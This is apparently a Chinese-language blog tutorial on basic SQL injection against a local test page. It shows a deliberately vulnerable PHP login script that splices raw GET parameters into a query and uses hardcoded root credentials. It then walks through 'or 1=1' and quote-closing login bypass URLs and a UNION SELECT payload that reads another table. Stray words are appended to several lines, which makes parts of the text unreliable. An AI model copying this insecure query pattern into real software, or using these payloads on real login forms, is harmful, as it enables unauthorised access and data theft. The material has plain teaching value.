1创建查询语句php
$host = "localhost"; $username = "root"; $dbname = "acool"; $dbpwd = "root"; $con = mysql_connect($host,$username,$dbpwd ) or die("#fail to contect to db."); mysql_select_db($dbname,$con) or die("fail to open database"); $user = $_GET['user']; $pwd = $_GET["pwd"]; $sql = "select * from user where username = '{$user}' and pwd = '{$pwd}' "; $result = mysql_query($sql,$con); $num_rows = mysql_num_rows($result); if($num_rows<1){ echo "fail"; }else{ echo "succes"; } while ($row = mysql_fetch_array($result)){ var_dump($row); } echo "<code>sql:$sql</code>"; //http://127.0.0.1/sql.php?user=admin&pwd=123456
当pwd密码不等于数据库的密码时.很明显利用1=1 恒成立mysql
结果以下sql
显然sql语句是能够执行的数据库
http://127.0.0.1/sql.php?user=admin&pwd=admin%20or%201=1安全
因为引号致使sql构造不正确,须要绕过引号,让引号闭合;函数
failsql:select * from user where username = 'admin' and pwd = 'admin or 1=1'
fetch
http://127.0.0.1/sql.php?user=admin&pwd=admin' or '1=1spa
所以简单的mysql注入成功了3d
继续既然mysql这么有趣,还能够作些什么呢?code
由于union 联合查询的表字段必须相等,须要修改
select * from user where username = 'admin' and pwd = 'admin' UNION SELECT * ,1 FROM user_copy ;// 1充当一个字段,须要改变数量尝试
http://127.0.0.1/sql.php?user=admin&pwd=admin ' union SELECT * ,1 FROM user_copy where '1=1
这种构造sql 的select 语句外,构造insert ,delete语句
结果再次访问的结果
NULL
字符)。)